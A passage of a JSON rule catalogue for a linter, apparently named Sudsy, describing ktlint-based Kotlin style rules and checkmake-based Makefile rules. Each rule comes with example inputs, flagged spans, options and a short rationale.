          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#class-signature"
        }
      ],
      "why": "A long class header is laid out by fixed rules, so that all classes of a project look the same and a change to one parameter is one line in the diff.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an enum entry whose name is neither PascalCase nor UPPER_SNAKE_CASE (`a` in `enum class E { a, B }`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "enum class E { a, B, C_D, _e, FooBar }\nenum class F { `1x flows`, G_1, _2BIG }\n",
        "language": "kotlin",
        "other_lines": [],
        "spans": [
          {
            "column": 16,
            "length": 1,
            "line": 1
          },
          {
            "column": 27,
            "length": 2,
            "line": 1
          },
          {
            "column": 16,
            "length": 10,
            "line": 2
          },
          {
            "column": 33,
            "length": 5,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "enum-entry-name-case",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "enum-entry-name-case",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#enum-entry"
        }
      ],
      "why": "Enum entries are constants, and the conventions for constants are `UPPER_SNAKE_CASE` or, since Kotlin reads them as objects, `PascalCase`. A lowercase entry reads as a property.\n\nTo fix, rename the entry in one of the two styles."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `.kt` file whose name, up to its first dot, is not in PascalCase. The check that a file with a single class is named after it is not made.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n",
        "language": "kotlin",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "filename",
      "languages": [
        "kotlin"
      ],
      "options": [
        {
          "default": "^[A-Z][A-Za-z0-9]*$",
          "description": "Regular expression the file name up to its first dot must match; empty: not checked.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "filename",
          "note": "A file with a single class is not checked against the class name",
          "partial": true,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#file-name"
        }
      ],
      "why": "Kotlin files that hold a class are named after it, and the convention for all files is PascalCase. A file named `my-file.kt` has a name that cannot be the name of a class in it, and tools that match file and class names do not find it.\n\nTo fix, rename the file (`MyFile.kt`)."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a function with a block body that is only a `return`, which the formatter would write as an expression body (`fun f(): Int { return 1 }` is `fun f(): Int = 1`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A(val a: Int,\n        val b: Int) {\n    fun foo(a: Int, b: String, c: Long, d: Double, e: Float, f: Short, g: Byte, h: Char, i: Boolean, j: Unit): Int { return 1 }\n\n    fun baz() = run {\n        1\n    }\n\n    val x = listOf(\n        1,\n        2\n    )\n\n    fun bar(\n        a: Int,\n        b: Int\n    ) = a + b\n\n    fun ok(a: Int) = a\n\n    fun sum(): Int { return 1 }\n}\n",
        "language": "kotlin",
        "other_lines": [
          1,
          2,
          5,
          9,
          11,
          16
        ],
        "spans": [
          {
            "column": 116,
            "length": 1,
            "line": 3
          },
          {
            "column": 20,
            "length": 1,
            "line": 21
          }
        ]
      },
      "fix": null,
      "id": "function-expression-body",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "function-expression-body",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#function-expression-body"
        }
      ],
      "why": "A function with a single `return` as its body is clearer as an expression: the type is inferred and a line of braces goes away. One style makes functions of that kind look the same.\n\nTo fix, run the formatter, or write the expression body."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a function whose name does not match the expression set for its kind: camel case; a function with a declared return type may also be a factory named in Pascal case. A function that is an `override` or `@Composable` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "const val maxCount = 1\nconst val MAX_COUNT = 1\nconst val serialVersionUID = 1L\nval Default = 1\nval a_b = 1\nvar Global = 1\n\nclass A {\n    val MAX = 1\n    val ok = 1\n    val _backing = 1\n    val trailing_ = 1\n    fun My_fun() {}\n    fun Factory(): A = A()\n    fun my_fun2(): Int = 1\n    fun `a test name`() {}\n    override fun other_name() {}\n}\n\nobject B {\n    val LIMIT = 1\n    val Mixed = 1\n}\n\nfun local() {\n    val LOCAL = 1\n}\n\n@Composable\nfun Screen() {}\n",
        "language": "kotlin",
        "other_lines": [
          1,
          5,
          9,
          12,
          26
        ],
        "spans": [
          {
            "column": 9,
            "length": 6,
            "line": 13
          },
          {
            "column": 9,
            "length": 7,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "function-naming",
      "languages": [
        "kotlin"
      ],
      "options": [
        {
          "default": ".*",
          "description": "Regular expression the name of a `@Composable` function must match.",
          "name": "composables",
          "type": "string"
        },
        {
          "default": ".*",
          "description": "Regular expression the name of an `override` function must match.",
          "name": "overridden",
          "type": "string"
        },
        {
          "default": "^(?:[A-Za-z][A-Za-z0-9]*|`.*)$",
          "description": "Regular expression the name of a function with a declared return type must match.",
          "name": "factories",
          "type": "string"
        },
        {
          "default": "^(?:[a-z][A-Za-z0-9]*|`.*)$",
          "description": "Regular expression the name of any other function must match.",
          "name": "functions",
          "type": "string"
        }
      ],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "function-naming",
          "note": "`@Composable`, `override` and backtick names are left alone; a factory function is a capitalised name with a declared return type",
          "partial": true,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#function-naming"
        }
      ],
      "why": "Kotlin code reads functions in camel case, and a name in another case reads as a class or a constant. Factory functions that look like constructors (`Foo()`) and Compose functions are an exception by convention.\n\nTo fix, rename the function to camel case."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a function whose signature (everything up to the body) the formatter would lay out differently: the parameters on one line or one per line, the return type, and where the body starts.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A(val a: Int,\n        val b: Int) {\n    fun foo(a: Int, b: String, c: Long, d: Double, e: Float, f: Short, g: Byte, h: Char, i: Boolean, j: Unit): Int { return 1 }\n\n    fun baz() = run {\n        1\n    }\n\n    val x = listOf(\n        1,\n        2\n    )\n\n    fun bar(\n        a: Int,\n        b: Int\n    ) = a + b\n\n    fun ok(a: Int) = a\n\n    fun sum(): Int { return 1 }\n}\n",
        "language": "kotlin",
        "other_lines": [
          1,
          2,
          9,
          11,
          16,
          21
        ],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 3
          },
          {
            "column": 17,
            "length": 1,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "function-signature",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "function-signature",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#function-signature"
        }
      ],
      "why": "A signature that is laid out the same way in the whole project is quick to scan, and when a parameter is added only one line changes.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an import list that the formatter would reorder or rewrite.",
      "example": {
        "config": null,
        "fixed": "import b.B\nimport a.A\n\nfun f(x: Int) = when (x) {\n    1 -> {\n        foo()\n    }\n\n    2 -> bar()\n    else -> baz()\n}\n\n// one line\nval a = 1\n",
        "input": "import b.B\nimport a.A\n\nfun f(x: Int) = when (x) {\n    1 -> {\n        foo()\n    }\n\n    2 -> bar()\n    else -> baz()\n}\n\n/* one line */\nval a = 1\n",
        "language": "kotlin",
        "other_lines": [
          4,
          9,
          10,
          13
        ],
        "spans": [
          {
            "column": 8,
            "length": 1,
            "line": 1
          },
          {
            "column": 8,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "import-ordering",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "import-ordering",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#import-ordering"
        }
      ],
      "why": "Imports in a fixed order make it easy to find one, and two developers who add an import in the same place do not conflict.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an expression that spans lines and starts after code on its line: the value of a property or a function body after `=`, or an argument.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A(val a: Int,\n        val b: Int) {\n    fun foo(a: Int, b: String, c: Long, d: Double, e: Float, f: Short, g: Byte, h: Char, i: Boolean, j: Unit): Int { return 1 }\n\n    fun baz() = run {\n        1\n    }\n\n    val x = listOf(\n        1,\n        2\n    )\n\n    fun bar(\n        a: Int,\n        b: Int\n    ) = a + b\n\n    fun ok(a: Int) = a\n\n    fun sum(): Int { return 1 }\n}\n",
        "language": "kotlin",
        "other_lines": [
          1,
          2,
          3,
          11,
          16,
          21
        ],
        "spans": [
          {
            "column": 17,
            "length": 5,
            "line": 5
          },
          {
            "column": 13,
            "length": 7,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "multiline-expression-wrapping",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "multiline-expression-wrapping",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#multiline-expression-wrapping"
        }
      ],
      "why": "An expression that begins after `val a = ` and goes on over several lines has its first line far from the left edge and the rest below, so the shape of the block is hard to read. A new line before it gives it a place of its own.\n\nTo fix, start the expression on the next line."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `if` whose line breaks the formatter would change.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "fun f(x: Int) {\n    val a = if (x > 0)\n        1\n    else 2\n    val b = when (x) {\n        1 -> { println(1) }\n        else -> println(2)\n    }\n    foo(); bar()\n    val c = someVeryLongReceiverName.firstFunctionCall(argumentNumberOne).secondFunctionCall(argumentNumberTwo).thirdFunctionCall(argumentNumberThree)\n    callTheFunction(argumentNumberOne, argumentNumberTwo, argumentNumberThree, argumentNumberFour, argumentNumberFive, argumentNumberSix, argumentNumberSeven)\n}\n",
        "language": "kotlin",
        "other_lines": [
          5,
          6,
          7,
          10,
          11
        ],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 2
          },
          {
            "column": 9,
            "length": 1,
            "line": 3
          },
          {
            "column": 8,
            "length": 1,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "multiline-if-else",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "if-else-wrapping",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#if-else-wrapping"
        },
        {
          "id": "multiline-if-else",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#multiline-if-else"
        }
      ],
      "why": "An `if` and `else` that are split over lines in an arbitrary way are hard to read, and a line added to a branch that has no braces is not part of it. One layout for every `if` avoids both.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a bracket, comma or arrow where the formatter would break the line, or add a trailing comma.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "val a = 1\n// about b\nval b = 2\n\n@Deprecated(\"x\")\nfun c() {}\n\nfun d(x: Int,\n      y: Int) {\n}\n",
        "language": "kotlin",
        "other_lines": [
          2
        ],
        "spans": [
          {
            "column": 7,
            "length": 1,
            "line": 8
          },
          {
            "column": 12,
            "length": 1,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "newline-wrapping",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "wrapping",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#wrapping"
        }
      ],
      "why": "A list that wraps in one place and not in another has a layout that depends on who wrote it. One rule for the line breaks, and the trailing comma of a wrapped list, makes it independent of the author.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a class or interface with `{ }` and nothing in it (`class A {}`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {}\nclass B { }\nclass C {\n    val x = 1\n}\ninterface D {}\nval o = object : Any() {}\n",
        "language": "kotlin",
        "other_lines": [],
        "spans": [
          {
            "column": 9,
            "length": 2,
            "line": 1
          },
          {
            "column": 9,
            "length": 3,
            "line": 2
          },
          {
            "column": 13,
            "length": 2,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "no-empty-class-body",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "no-empty-class-body",
          "note": "Comments inside the braces do not count as content.",
          "partial": true,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#no-empty-class-bodies"
        }
      ],
      "why": "An empty body adds two characters and says nothing. Kotlin does not need the braces for a class without members.\n\nTo fix, delete the braces: `class A`."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports a `.kt` file with nothing in it but a package, imports and comments.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nimport b.C\n",
        "language": "kotlin",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-empty-file",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "no-empty-file",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#no-empty-file"
        }
      ],
      "why": "A file without a declaration is a leftover of a deleted class, or one that was never filled, and it still compiles and shows up in the project.\n\nTo fix, delete the file, or add the declaration."
    },
    {
      "category": "cleanup",
      "default_level": "warn",
      "description": "Reports a function with a block body that declares `: Unit` as its return type.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "fun a(): Unit {}\nfun b(x: Int = 1): Unit { return }\nfun c(): Int { return 1 }\nfun d(): Unit = Unit\nfun Unit.e() {}\nfun f() {\n    fun g(): Unit {}\n}\n",
        "language": "kotlin",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 3,
            "line": 1
          },
          {
            "column": 1,
            "length": 3,
            "line": 2
          },
          {
            "column": 5,
            "length": 3,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-unit-return",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "no-unit-return",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#no-unit-as-return-type"
        }
      ],
      "why": "`Unit` is what a function returns by default, so writing it repeats the language and distracts a reader who looks for a type that matters.\n\nTo fix, delete `: Unit`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a package whose name has an uppercase letter or an underscore.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a.My_pkg\n\nval x = 1\n",
        "language": "kotlin",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "package-name",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "package-name",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#package-name"
        }
      ],
      "why": "Package names in Kotlin and Java are in lowercase, joined without underscores, so a name with capitals looks like a class and does not match the directory on file systems that ignore case.\n\nTo fix, write the name in lowercase."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a parameter list that the formatter would wrap or join differently.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A(val a: Int,\n        val b: Int) {\n    fun foo(a: Int, b: String, c: Long, d: Double, e: Float, f: Short, g: Byte, h: Char, i: Boolean, j: Unit): Int { return 1 }\n\n    fun baz() = run {\n        1\n    }\n\n    val x = listOf(\n        1,\n        2\n    )\n\n    fun bar(\n        a: Int,\n        b: Int\n    ) = a + b\n\n    fun ok(a: Int) = a\n\n    fun sum(): Int { return 1 }\n}\n",
        "language": "kotlin",
        "other_lines": [
          2,
          5,
          9,
          11,
          16,
          21
        ],
        "spans": [
          {
            "column": 9,
            "length": 1,
            "line": 1
          },
          {
            "column": 13,
            "length": 1,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "parameter-list-wrapping",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "parameter-list-wrapping",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#parameter-list-wrapping"
        }
      ],
      "why": "A function with a long parameter list is laid out by a fixed rule, so that the layout does not depend on the author and a new parameter is one line in the diff.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a property whose name does not match the expression set for its kind: a `const val` is in UPPER_SNAKE_CASE; top-level and object properties may also be written as constants; a backing property may start with `_`; an `override` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "const val maxCount = 1\nconst val MAX_COUNT = 1\nconst val serialVersionUID = 1L\nval Default = 1\nval a_b = 1\nvar Global = 1\n\nclass A {\n    val MAX = 1\n    val ok = 1\n    val _backing = 1\n    val trailing_ = 1\n    fun My_fun() {}\n    fun Factory(): A = A()\n    fun my_fun2(): Int = 1\n    fun `a test name`() {}\n    override fun other_name() {}\n}\n\nobject B {\n    val LIMIT = 1\n    val Mixed = 1\n}\n\nfun local() {\n    val LOCAL = 1\n}\n\n@Composable\nfun Screen() {}\n",
        "language": "kotlin",
        "other_lines": [
          13,
          15
        ],
        "spans": [
          {
            "column": 11,
            "length": 8,
            "line": 1
          },
          {
            "column": 5,
            "length": 3,
            "line": 5
          },
          {
            "column": 9,
            "length": 3,
            "line": 9
          },
          {
            "column": 9,
            "length": 9,
            "line": 12
          },
          {
            "column": 9,
            "length": 5,
            "line": 26
          }
        ]
      },
      "fix": null,
      "id": "property-naming",
      "languages": [
        "kotlin"
      ],
      "options": [
        {
          "default": "^(?:[A-Z][A-Z0-9_]*|serialVersionUID)$",
          "description": "Regular expression the name of a `const val` must match; empty: not checked.",
          "name": "constants",
          "type": "string"
        },
        {
          "default": ".*",
          "description": "Regular expression the name of an `override` property must match.",
          "name": "overridden",
          "type": "string"
        },
        {
          "default": "^(?:[a-z][A-Za-z0-9]*|[A-Z][A-Za-z0-9_]*|_[A-Za-z0-9_]*|`.*)$",
          "description": "Regular expression the name of a property of an object must match.",
          "name": "singleton_members",
          "type": "string"
        },
        {
          "default": "^(?:[a-z][A-Za-z0-9]*|[A-Z][A-Za-z0-9_]*|_[A-Za-z0-9_]*|`.*)$",
          "description": "Regular expression the name of a top-level property must match.",
          "name": "top_level",
          "type": "string"
        },
        {
          "default": "^(?:[a-z][A-Za-z0-9]*|_[A-Za-z0-9_]*|`.*)$",
          "description": "Regular expression the name of any other property (a member of a class, a local) must match.",
          "name": "members",
          "type": "string"
        }
      ],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "property-naming",
          "note": "`override` properties are left alone; `_name` backing properties are not matched to a property",
          "partial": true,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#property-naming"
        }
      ],
      "why": "The case of a name tells a reader if it is a constant or a variable. A `const val` in camel case reads as a variable that can change, and a mutable property in capitals reads as a constant.\n\nTo fix, rename the property to the style of its kind."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a block whose line breaks the formatter would change, such as several statements on one line (`{ a(); b() }`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "fun f(x: Int) {\n    val a = if (x > 0)\n        1\n    else 2\n    val b = when (x) {\n        1 -> { println(1) }\n        else -> println(2)\n    }\n    foo(); bar()\n    val c = someVeryLongReceiverName.firstFunctionCall(argumentNumberOne).secondFunctionCall(argumentNumberTwo).thirdFunctionCall(argumentNumberThree)\n    callTheFunction(argumentNumberOne, argumentNumberTwo, argumentNumberThree, argumentNumberFour, argumentNumberFive, argumentNumberSix, argumentNumberSeven)\n}\n",
        "language": "kotlin",
        "other_lines": [
          3,
          4,
          7
        ],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 2
          },
          {
            "column": 13,
            "length": 1,
            "line": 5
          },
          {
            "column": 16,
            "length": 1,
            "line": 6
          },
          {
            "column": 13,
            "length": 1,
            "line": 10
          },
          {
            "column": 21,
            "length": 1,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "statement-wrapping",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "statement-wrapping",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#statement-wrapping"
        }
      ],
      "why": "One statement to a line is the layout every Kotlin reader expects, and a second statement after a `;` is easily missed. It also makes a diff show a change to the statement and not to its neighbour.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the last argument of a multi-line call that has a trailing comma the formatter would add or remove.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A(val a: Int,\n        val b: Int) {\n    fun foo(a: Int, b: String, c: Long, d: Double, e: Float, f: Short, g: Byte, h: Char, i: Boolean, j: Unit): Int { return 1 }\n\n    fun baz() = run {\n        1\n    }\n\n    val x = listOf(\n        1,\n        2\n    )\n\n    fun bar(\n        a: Int,\n        b: Int\n    ) = a + b\n\n    fun ok(a: Int) = a\n\n    fun sum(): Int { return 1 }\n}\n",
        "language": "kotlin",
        "other_lines": [
          1,
          2,
          3,
          5,
          9,
          16,
          21
        ],
        "spans": [
          {
            "column": 9,
            "length": 1,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "trailing-comma-on-call-site",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "trailing-comma-on-call-site",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#trailing-comma-on-call-site"
        }
      ],
      "why": "With a trailing comma, adding an argument at the end changes one line instead of two, and moving arguments does not need the comma moved. A project that chooses one form gets the same diff everywhere.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the last parameter of a multi-line declaration that has a trailing comma the formatter would add or remove.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A(val a: Int,\n        val b: Int) {\n    fun foo(a: Int, b: String, c: Long, d: Double, e: Float, f: Short, g: Byte, h: Char, i: Boolean, j: Unit): Int { return 1 }\n\n    fun baz() = run {\n        1\n    }\n\n    val x = listOf(\n        1,\n        2\n    )\n\n    fun bar(\n        a: Int,\n        b: Int\n    ) = a + b\n\n    fun ok(a: Int) = a\n\n    fun sum(): Int { return 1 }\n}\n",
        "language": "kotlin",
        "other_lines": [
          1,
          3,
          5,
          9,
          11,
          21
        ],
        "spans": [
          {
            "column": 18,
            "length": 1,
            "line": 2
          },
          {
            "column": 14,
            "length": 1,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "trailing-comma-on-declaration-site",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "trailing-comma-on-declaration-site",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#trailing-comma-on-declaration-site"
        }
      ],
      "why": "With a trailing comma, adding a parameter at the end changes one line instead of two, and reordering parameters does not need the comma moved.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `when` entry whose first line the formatter would change.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "fun f(x: Int) {\n    val a = if (x > 0)\n        1\n    else 2\n    val b = when (x) {\n        1 -> { println(1) }\n        else -> println(2)\n    }\n    foo(); bar()\n    val c = someVeryLongReceiverName.firstFunctionCall(argumentNumberOne).secondFunctionCall(argumentNumberTwo).thirdFunctionCall(argumentNumberThree)\n    callTheFunction(argumentNumberOne, argumentNumberTwo, argumentNumberThree, argumentNumberFour, argumentNumberFive, argumentNumberSix, argumentNumberSeven)\n}\n",
        "language": "kotlin",
        "other_lines": [
          2,
          3,
          4,
          5,
          6,
          10,
          11
        ],
        "spans": [
          {
            "column": 15,
            "length": 1,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "when-entry-bracing",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "when-entry-bracing",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#when-entry-bracing"
        }
      ],
      "why": "Entries of one `when` that are written in different ways (some with braces, some without, in different line layouts) look as if the difference meant something. One layout for all entries makes a real difference stand out.\n\nTo fix, run the formatter."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports a rule whose recipe has more lines than the `max` option. Every physical line counts, a continued command and a tab-indented comment included.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "build:\n\techo 1\n\techo 2\n\techo 3\n\techo 4\n\techo 5\n\techo 6\nfine:\n\techo 1\n\n\nblank-before:\n\techo 1\n\techo 2\n\techo 3\n\techo 4\n\techo 5\n\techo 6\n",
        "language": "makefile",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 5,
            "line": 1
          },
          {
            "column": 1,
            "length": 12,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "max-body-length",
      "languages": [
        "makefile"
      ],
      "options": [
        {
          "default": 5,
          "description": "The most lines a recipe may have.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [
        "makefile/checkmake"
      ],
      "upstream": [
        {
          "id": "maxbodylength",
          "note": "checkmake ends a recipe at a blank line, a comment line without a tab or a conditional; Sudsy follows make, where they belong to the recipe.",
          "partial": true,
          "tool": "checkmake",
          "url": "https://github.com/checkmake/checkmake/blob/main/docs/rules.md"
        }
      ],
      "why": "A long recipe is a script that lives in a Makefile, where it is run by `make` through the shell line by line, cannot be tested by itself and is hard to read. A limit moves it to a script file.\n\nTo fix, move the commands to a script and call it."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a target of the `required` option (default `all`, `clean` and `test`) that is not declared `.PHONY`, on the last `.PHONY` line, or on the last rule when there is none.",
      "example": {
        "config": "min-phony:\n  level: warn\n  options:\n    required: [all, build]\n",
        "fixed": null,
        "input": ".PHONY: all test\nall:\ntest:\n",
        "language": "makefile",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 6,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "min-phony",
      "languages": [
        "makefile"
      ],
      "options": [
        {
          "default": [
            "all",
            "clean",
            "test"
          ],
          "description": "The targets every Makefile must declare `.PHONY`.",
          "name": "required",
          "type": "list"
        }
      ],
      "presets": [
        "makefile/checkmake"
      ],
      "upstream": [
        {
          "id": "minphony",
          "partial": false,
          "tool": "checkmake",
          "url": "https://github.com/checkmake/checkmake/blob/main/docs/rules.md"
        }
      ],
      "why": "Conventional targets (`all`, `clean`, `test`) do not name files. If a file with that name appears, `make` considers the target up to date and does nothing.\n\nTo fix, add the target to `.PHONY`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a target with no recipe that is not declared `.PHONY`. Targets that start with a `.` are special and are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".PHONY: all clean\nall: build\nclean:\nbuild:\n\techo\n.DEFAULT: ;\nempty: all\nboth one two:\n$(OBJS): ;\n",
        "language": "makefile",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 5,
            "line": 7
          },
          {
            "column": 1,
            "length": 4,
            "line": 8
          },
          {
            "column": 6,
            "length": 3,
            "line": 8
          },
          {
            "column": 10,
            "length": 3,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "phony-declared",
      "languages": [
        "makefile"
      ],
      "options": [],
      "presets": [
        "makefile/checkmake"
      ],
      "upstream": [
        {
          "id": "phonydeclared",
          "partial": false,
          "tool": "checkmake",
          "url": "https://github.com/checkmake/checkmake/blob/main/docs/rules.md"
        }
      ],
      "why": "A target without a recipe that is not a file only groups other targets. If a file of that name appears, `make` stops running it, so the behaviour of the Makefile depends on what is in the directory.\n\nTo fix, add the target to `.PHONY`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a variable whose value runs `date` and that is not simply expanded (`:=`, `::=`): every use runs `date` again and the values differ within one build.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "A = $(shell date +%s)\nB := $(shell date +%s)\nC ?= a date\nD = date\nE += $(shell date)\nF ::= $(shell date)\nG != date\nfoo: H = $(shell date)\n",
        "language": "makefile",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 1
          },
          {
            "column": 1,
            "length": 1,
            "line": 3
          },
          {
            "column": 1,
            "length": 1,
            "line": 5
          },
          {
            "column": 1,
            "length": 3,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "timestamp-expanded",
      "languages": [
        "makefile"
      ],
      "options": [],
      "presets": [
